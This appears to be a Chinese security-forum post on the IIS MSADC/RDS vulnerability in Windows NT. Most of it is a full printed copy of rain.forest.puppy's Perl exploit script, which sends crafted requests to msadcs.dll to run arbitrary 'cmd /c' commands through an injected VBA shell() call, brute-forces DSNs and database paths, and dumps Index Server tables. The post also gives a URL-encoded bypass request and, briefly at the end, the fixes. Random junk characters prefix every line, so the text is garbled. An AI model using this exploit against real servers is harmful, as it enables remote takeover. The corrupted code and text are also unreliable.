IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
@V
Bv}Jo ]s ?BwLU 6 涉及程序：
H-K,Q% ;C@ Microsoft NT server
;H9d.D8 :<Yc V# !P 描述：
@kK${ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
vd
c k k-@CcrepF 详细：
TPZZln'3 如果你没有时间读详细内容的话，就删除:
/d ?) c:\Program Files\Common Files\System\Msadc\msadcs.dll
r D X_$,3L 有关的安全问题就没有了。
Vv~rgN h ,^3eMn 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
{s6;6>-kPW 9[N+x2q 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
lX/6u
E_% 关于利用ODBC远程漏洞的描述，请参看:
dq%7A=- ,3Y~ #{,i http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm u.YPb @ g4cmYg3 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
*z!!zRh3x http://www.microsoft.com/security/bulletins/MS99-025faq.asp m64 6|G5 //2G5F ; 这里不再论述。
-x=abyD 3@kiUbq7Eu 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
]&`_5pS 6q RZ#MC /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
I8;pMr6 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
|kyxa2F{ w rv-"%u) ~'2)E/IeV #将下面这段保存为txt文件，然后: "perl -x 文件名"
:?2+'+%' n8DWA`[ib #!perl
TMj (y{2 #
]X?~Cz/wl # MSADC/RDS 'usage' (aka exploit) script
% <
D #
OM*N) * # by rain.forest.puppy
;Y5"[C9| #
_I l/ i& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
.9_]8 T # beta test and find errors!
3/+9# QkBT, c use Socket; use Getopt::Std;
+ulBy getopts("e:vd:h:XR", \%args);
P dcF p&ytUT na print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
n|dLK.Q W|_
@ju if (!defined $args{h} && !defined $args{R}) {
H)(@A W+- print qq~
!:PF |dZ Usage: msadc.pl -h <host> { -d <delay> -X -v }
FVNxjMm, -h <host> = host you want to scan (ip or domain)
R|
[mp%Q -d <seconds> = delay between calls, default 1 second
S /Pffal -X = dump Index Server path table, if available
HUiW#x%; -v = verbose
vi')-1Y
KM -e = external dictionary file for step 5
OiH
tobM 1H`T=:P? Or a -R will resume a command session
6*u#^">,< t33/QW
r ~; exit;}
*9 M 5' 'L4@|c~x $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
9`yG[OA if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
t<mT=(zt* if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
t$^1A1Ef if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Z [<rz6%cB $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
,rVm81-2 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
i$gm/ZO r\Nf309~ if (!defined $args{R}){ $ret = &has_msadc;
!7 "-9n die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
o _ka'| 0Aw.aQ~E8i print "Please type the NT commandline you want to run (cmd /c assumed):\n"
zc>/1>? M . "cmd /c ";
VRurn>y0 $in=<STDIN>; chomp $in;
L\_MZ* <0[ $command="cmd /c " . $in ;
Bh$ hgf.C 0i/l2&x*k] if (defined $args{R}) {&load; exit;}
??0C"8:[ %m$TV@ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Cg<:C?>!p &try_btcustmr;
Rs,\{# S^'?s fq print "\nStep 2: Trying to make our own DSN...";
(dn(:<_$ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
dmI,+h HtL hn\<'|n print "\nStep 3: Trying known DSNs...";
pv*u[ffi &known_dsn;
o ?@,f/" 5 6<jh0=$ print "\nStep 4: Trying known .mdbs...";
4^vEMq 8lB &known_mdb;
;M}'\. ZnSDq_Uk if (defined $args{e}){
VZB T'N print "\nStep 5: Trying dictionary of DSN names...";
q'~ ?azg: &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
H~UxVQLPp Njsz= print "Sorry Charley...maybe next time?\n";
>F+Mu-^ exit;
?JO x9;` I) Y ^_&= ##############################################################################
,4wVQ(,?cd @9 ~a3k| sub sendraw { # ripped and modded from whisker
&.D3f" sleep($delay); # it's a DoS on the server! At least on mine...
MT9c:7}[& my ($pstr)=@_;
Qfx(+ =| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%>B?WR\yE die("Socket problems\n");
-02c I}e if(connect(S,pack "SnA4x8",2,80,$target)){
gp'9Pf;\[ select(S); $|=1;
T^.;yU_B? print $pstr; my @in=<S>;
Lsa&A+fru select(STDOUT); close(S);
+InAK>NZ' return @in;
gjB36 R } else { die("Can't connect...\n"); }}
}Pd S?[R 7 wS )'zR; ##############################################################################
*X- 6]C 0Ou;MU*v sub make_header { # make the HTTP request
S\=j; Uem my $msadc=<<EOT
jq#gFt* POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
PhL }V|W> User-Agent: ACTIVEDATA
ZD\`~I|gp Host: $ip
YCZl1ry:V= Content-Length: $clen
cr Hd$~q, Connection: Keep-Alive
&TYTeJ] q8%T)$! ADCClientVersion:01.06
)HbsUm# Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
$/^DY& ~?i;~S --!ADM!ROX!YOUR!WORLD!
7pH`"$ Content-Type: application/x-varg
KPO?eeT.WZ Content-Length: $reqlen
ZYDLl8 a_Y*pO u EOT
9a} rE ; $msadc=~s/\n/\r\n/g;
<?UbzT7X return $msadc;}
1%~yb Q ({JXv ##############################################################################
e a LSq &5>R>rnB sub make_req { # make the RDS request
|>o]+ V my ($switch, $p1, $p2)=@_;
Tbv", b my $req=""; my $t1, $t2, $query, $dsn;
>PdYQDyVS >xQg COi if ($switch==1){ # this is the btcustmr.mdb query
X +zFRL% $query="Select * from Customers where City=" . make_shell();
tSX<^VER7 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
%
C~2k? $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
\; ! oG |"h# Q[3 elsif ($switch==2){ # this is general make table query
0G`_dMN $query="create table AZZ (B int, C varchar(10))";
x<^+nTzN $dsn="$p1";}
Y+5 nn 8|k r|l elsif ($switch==3){ # this is general exploit table query
kDJ $kv $query="select * from AZZ where C=" . make_shell();
Sq^f}q $dsn="$p1";}
qW*JB4`?a BoQLjS{kN elsif ($switch==4){ # attempt to hork file info from index server
4FSA:]o- $query="select path from scope()";
I\djZG$s;N $dsn="Provider=MSIDXS;";}
1OB,UU"S$ OUCL tn\ elsif ($switch==5){ # bad query
c'M#va $query="select";
#x-@ >{1k& $dsn="$p1";}
1@Abs sXHrCU $t1= make_unicode($query);
T"7U e $t2= make_unicode($dsn);
EC(,-sz\Z $req = "\x02\x00\x03\x00";
ZC}'! $r7 $req.= "\x08\x00" . pack ("S1", length($t1));
&:1PF.)N $req.= "\x00\x00" . $t1 ;
&)jBr^x#> $req.= "\x08\x00" . pack ("S1", length($t2));
4q sIJJ[. $req.= "\x00\x00" . $t2 ;
x \taG.'zX $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
ct,B0(] return $req;}
X"_,#3Ko! gc``z9@Xg ##############################################################################
`o~ dQb/k+ i SD E6 sub make_shell { # this makes the shell() statement
| R MIV return "'|shell(\"$command\")|'";}
K.3)m]dCl %:i; eUKR ##############################################################################
2f ZVBj M- inlZNR sub make_unicode { # quick little function to convert to unicode
&+ V6mH9m@ my ($in)=@_; my $out;
Z*&y8;vUQ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
n8W +q~sW% return $out;}
N- XOPwx' ~)>O=nR ##############################################################################
#oBM A GIXxO ea1 sub rdo_success { # checks for RDO return success (this is kludge)
1k-YeQNe my (@in) = @_; my $base=content_start(@in);
VB
53 n' if($in[$base]=~/multipart\/mixed/){
h'*>\eC6 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
c@H_f return 0;}
7ux0|l {O FbU ##############################################################################
/^_~NF# &5JTcMC^ sub make_dsn { # this makes a DSN for us
[O)(0 my @drives=("c","d","e","f");
g\9I&z~? print "\nMaking DSN: ";
.|>zQ(7YC foreach $drive (@drives) {
q\+khy,k print "$drive: ";
|'@c ~yc my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
#rZF4>c "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
}dnO7K . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
I+nKaN+8i
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
G@s ]HJ: return 0 if $2 eq "404"; # not found/doesn't exist
+/!kL0 [v if($2 eq "200") {
+; /]' foreach $line (@results) {
@tv3\eD return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
poJ7q ( } return 0;}
Bw5zh1ALC; n-X; JYQW ##############################################################################
[C1 .*Q+l &f12Q&jY7 sub verify_exists {
B[XVTok my ($page)=@_;
=W+ h.? my @results=sendraw("GET $page HTTP/1.0\n\n");
<cC 0l-= return $results[0];}
Djv0]Sm^! i WCR 5c= ##############################################################################
BS-nn y y b 7 sub try_btcustmr {
&.dC% my @drives=("c","d","e","f");
y3!r;>2k= my @dirs=("winnt","winnt35","winnt351","win","windows");
Fk&W*<}/; i%~^3 /K foreach $dir (@dirs) {
)=,%iL - print "$dir -> "; # fun status so you can see progress
h7],/? s foreach $drive (@drives) {
n*% o!= print "$drive: "; # ditto
r HS;wT $reqlen=length( make_req(1,$drive,$dir) ) - 28;
=E{e|(1+u $reqlenlen=length( "$reqlen" );
>lyX";X# $clen= 206 + $reqlenlen + $reqlen;
05$;7x nf( ^ ]nnvvp my @results=sendraw(make_header() . make_req(1,$drive,$dir));
sZ~q|}D- if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
LW+a-i else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
RM^3Snd=V $U3|.4 ##############################################################################
E0F8FR' P''5A6#5 sub odbc_error {
:.;p Rz my (@in)=@_; my $base;
4J #F;#iA my $base = content_start(@in);
+y%"[6c| if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
lrn3yDkR? $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
CcF$?07 i $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c!,&]*h"k $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R^_7B ( return $in[$base+4].$in[$base+5].$in[$base+6];}
aQ@9(j>
F print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
l/=2P_8+Z print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
x2-i1#j`; $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
WCa>~dF> /g|H?F0 ##############################################################################
}>)e~\Tdzb j=r aS sub verbose {
o+9b%I^1V my ($in)=@_;
Yd} Jz return if !$verbose;
Y}db<Cz
X print STDOUT "\n$in\n";}
5|T[:m C!]R0L* ##############################################################################
KyQO>g{R JnC$}amr sub save {
0D x,)C my ($p1, $p2, $p3, $p4)=@_;
(#|CL/ & open(OUT, ">rds.save") || print "Problem saving parameters...\n";
f9+J} print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
j41) X'MgJ close OUT;}
M4%u~Z:4h+ B 8XW+U ##############################################################################
A`|Z2 ld RV
JVZc sub load {
J[Ck z] my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[
" n+2; open(IN,"<rds.save") || die("Couldn't open rds.save\n");
+[L G > @p=<IN>; close(IN);
U;o$ =,_p $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
b n$(' $target= inet_aton($ip) || die("inet_aton problems");
:v=^-&t print "Resuming to $ip ...";
n*'i{P] $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]4{ )VXod if($p[1]==1) {
O)0}y F$0 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
@D?KS;# $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
c"nowbf my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
E_fH,YJ? 9 if (rdo_success(@results)){print "Success!\n";}
|E%i
t?3M else { print "failed\n"; verbose(odbc_error(@results));}}
~0;l\^ elsif ($p[1]==3){
0 _!')+ if(run_query("$p[3]")){
2sezZeMV print "Success!\n";} else { print "failed\n"; }}
tHhau.! elsif ($p[1]==4){
{6_M$"e. if(run_query($drvst . "$p[3]")){
8R3x74fL print "Success!\n"; } else { print "failed\n"; }}
pUGFQ." \ exit;}
W6e,S[J^FY |4$.mb.
##############################################################################
8OS@g pz )[t zAaP7 sub create_table {
lpjeEaw o4 my ($in)=@_;
Ri<7!Y?l $reqlen=length( make_req(2,$in,"") ) - 28;
fX
^h O+f $reqlenlen=length( "$reqlen" );
n! Dr:$
$clen= 206 + $reqlenlen + $reqlen;
\wJ2>Q my @results=sendraw(make_header() . make_req(2,$in,""));
iMT[s b return 1 if rdo_success(@results);
c e3 UB~Q my $temp= odbc_error(@results); verbose($temp);
fwkklg^ return 1 if $temp=~/Table 'AZZ' already exists/;
=:w]EpH" return 0;}
`Z#0kpXk_ #9( 0 .!v ##############################################################################
@3^D[ t z TnFV sub known_dsn {
2HNAB4 E # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
uW%(ySbq my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
;S&PLgZ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
t!=qt * "banner", "banners", "ads", "ADCDemo", "ADCTest");
<Ny DrO"C3 + :IwP foreach $dSn (@dsns) {
p\'0m0*
print ".";
<W>T!;4! next if (!is_access("DSN=$dSn"));
8 vp*U if(create_table("DSN=$dSn")){
|w{}h6 a print "$dSn successful\n";
2bs={p$}a if(run_query("DSN=$dSn")){
3j I
rB% print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9}[UZN6 print "Something's borked. Use verbose next time\n";}}} print "\n";}
Q.U
wtH '3p7ee& ##############################################################################
J1s~w`, EbfE/_I sub is_access {
1*aO2dOq my ($in)=@_;
&x": $reqlen=length( make_req(5,$in,"") ) - 28;
?Z0NHy;5 $reqlenlen=length( "$reqlen" );
\80W?9qj $clen= 206 + $reqlenlen + $reqlen;
r_x|2 A oO my @results=sendraw(make_header() . make_req(5,$in,""));
3)6TnY/u6{ my $temp= odbc_error(@results);
u~C,x3yr verbose($temp); return 1 if ($temp=~/Microsoft Access/);
xg;o<y KF return 0;}
D 2y[?RG IjPCaH.:t ##############################################################################
QX`T-)T e nxjP4d> sub run_query {
TQ,KPf$0U my ($in)=@_;
Ah? ,9r=U $reqlen=length( make_req(3,$in,"") ) - 28;
^t $xR_ $reqlenlen=length( "$reqlen" );
)bgaqca_{ $clen= 206 + $reqlenlen + $reqlen;
.c5)` my @results=sendraw(make_header() . make_req(3,$in,""));
u_Wftb?9 return 1 if rdo_success(@results);
sTS Nu+ my $temp= odbc_error(@results); verbose($temp);
> u!#
4 return 0;}
9cn Lf# yrF"`/zv6| ##############################################################################
SSAf<44e hr/H vB sub known_mdb {
Y'{F^VxA/ my @drives=("c","d","e","f","g");
W"v"mjYud my @dirs=("winnt","winnt35","winnt351","win","windows");
z @8W my $dir, $drive, $mdb;
/$U< S" my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
W=S<DtG2 @2`$ XWD # this is sparse, because I don't know of many
!U "?vS l my @sysmdbs=( "\\catroot\\icatalog.mdb",
xU!eT'Y "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
&)$}Nk "\\system32\\certmdb.mdb",
o bz|*1M? "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Xl %ax!/
Tb[1\ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
fEB&)mM "\\cfusion\\cfapps\\forums\\forums_.mdb",
\Q!I; "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
&cSZ?0 R "\\cfusion\\cfapps\\security\\realm_.mdb",
RYyM;<9F "\\cfusion\\cfapps\\security\\data\\realm.mdb",
p.|M:C\xL "\\cfusion\\database\\cfexamples.mdb",
q2e=(]rKE{ "\\cfusion\\database\\cfsnippets.mdb",
ZnAXb S "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
wj{[g^y% "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
>+FaPym "\\cfusion\\brighttiger\\database\\cleam.mdb",
rizWaw5E!8 "\\cfusion\\database\\smpolicy.mdb",
0,]m.)ws "\\cfusion\\database\cypress.mdb",
f.G"[p "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Js'j}w "\\website\\cgi-win\\dbsample.mdb",
tJvs
?eZ) "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
*A ([1l&]i "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
wj2z?0}o ); #these are just
;i,3KJ [L foreach $drive (@drives) {
O%)Wo?)HM foreach $dir (@dirs){
["1Iz{ foreach $mdb (@sysmdbs) {
};;k5z I% print ".";
aCF=Og if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
GO]5~ 4k print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
5L y Wg2 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
v+vM:At4 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
mv{bX|. } else { print "Something's borked. Use verbose next time\n"; }}}}}
G -V~6 va [r ~ foreach $drive (@drives) {
928uG o5 foreach $mdb (@mdbs) {
l {mC|8X print ".";
EdTR] }8 if(create_table($drv . $drive . $dir . $mdb)){
ae>B 0#= print "\n" . $drive . $dir . $mdb . " successful\n";
1W'0h$5^" if(run_query($drv . $drive . $dir . $mdb)){
@h,3"2W{Ev print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
WD >z } else { print "Something's borked. Use verbose next time\n"; }}}}
dvu8V _U }
4q )+nh~s JFu9_=%+ ##############################################################################
"O/
6SV yA]OX" T?* sub hork_idx {
s#
V>+ mU print "\nAttempting to dump Index Server tables...\n";
/^sk y! print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
rHp2I6.0a $reqlen=length( make_req(4,"","") ) - 28;
w2) @o > w $reqlenlen=length( "$reqlen" );
0fog/c#q( $clen= 206 + $reqlenlen + $reqlen;
n.7-$1 my @results=sendraw2(make_header() . make_req(4,"",""));
&&ZX<wOM if (rdo_success(@results)){
dCA!
R"HD my $max=@results; my $c; my %d;
X#k:J for($c=19; $c<$max; $c++){
g `( 3r $results[$c]=~s/\x00//g;
c<OR mg6 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
lS G]{ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
a];1)zVA6 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Ku?1QDhrF* $d{"$1$2"}="";}
rcz9\@M foreach $c (keys %d){ print "$c\n"; }
vMzBp#MT } else {print "Index server doesn't seem to be installed.\n"; }}
7d^ ~.F u K=)65] ##############################################################################
s8
5l lx<!*2
-^ sub dsn_dict {
Om(Ir&0 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Ez
/
W$U while(<IN>){
w/e?K4 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
x
c|1?A Fj next if (!is_access("DSN=$dSn"));
E5yn,-GyE0 if(create_table("DSN=$dSn")){
J^-a@' `+ print "$dSn successful\n";
4hx4/5[^ if(run_query("DSN=$dSn")){
6 w4HJZF~ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
)lU9\"?o print "Something's borked. Use verbose next time\n";}}}
PJPKn0,W print "\n"; close(IN);}
}` y%*-- <DN 7 ##############################################################################
_9y! ,ST DMA`Jx sub sendraw2 { # ripped and modded from whisker
8R T<?I^5 sleep($delay); # it's a DoS on the server! At least on mine...
Gdz* my ($pstr)=@_;
p$}/~5b}4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
X<Ag['r die("Socket problems\n");
<+Gf!0i if(connect(S,pack "SnA4x8",2,80,$target)){
j JD*s/o print "Connected. Getting data";
iu.Jp92 open(OUT,">raw.out"); my @in;
n.XgGT =L select(S); $|=1; print $pstr;
,uPN\` .u8 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
>P ~j@Lv close(OUT); select(STDOUT); close(S); return @in;
tYp 185 } else { die("Can't connect...\n"); }}
u\(>a ;;rx)|\<R ##############################################################################
d(d3@b4Ta J}4R J9 sub content_start { # this will take in the server headers
J#4pA{0 1w my (@in)=@_; my $c;
\I/"W#\SJo for ($c=1;$c<500;$c++) {
=jpRv<X|, if($in[$c] =~/^\x0d\x0a/){
0)\(y if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
3D5adI<aq" else { return $c+1; }}}
!>!jLZ0 return -1;} # it should never get here actually
ub sv\[:C 7bE`P[ ##############################################################################
>gq=W5vN( )+hJi/g sub funky {
lX/7 my (@in)=@_; my $error=odbc_error(@in);
hCc%d$wVk if($error=~/ADO could not find the specified provider/){
9-&@ Y print "\nServer returned an ADO miscofiguration message\nAborting.\n";
TNeL%s?B3 exit;}
@"98u$5 if($error=~/A Handler is required/){
C~K/yLCAi print "\nServer has custom handler filters (they most likely are patched)\n";
qK@,O \ exit;}
'Z,7{U1 P if($error=~/specified Handler has denied Access/){
*%_M? ^ print "\nServer has custom handler filters (they most likely are patched)\n";
Xkx&'/QG,U exit;}}
pNuU{:9 B0 nehk8+eV_ ##############################################################################
WLh!L='{BK
mI:D sub has_msadc {
k\/es1jOEh my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Dp#2 7Yzc my $base=content_start(@results);
s(s_v ?k return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
y,KZp2 j return 0;}
NU {eoqaT 0pB'^Q{ ########################
P@n
rcgM. \k6OP 4\ )WMP 解决方案：
MIZ!+[At 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
[xGL0Z%)t 2、移除web 目录: /msadc
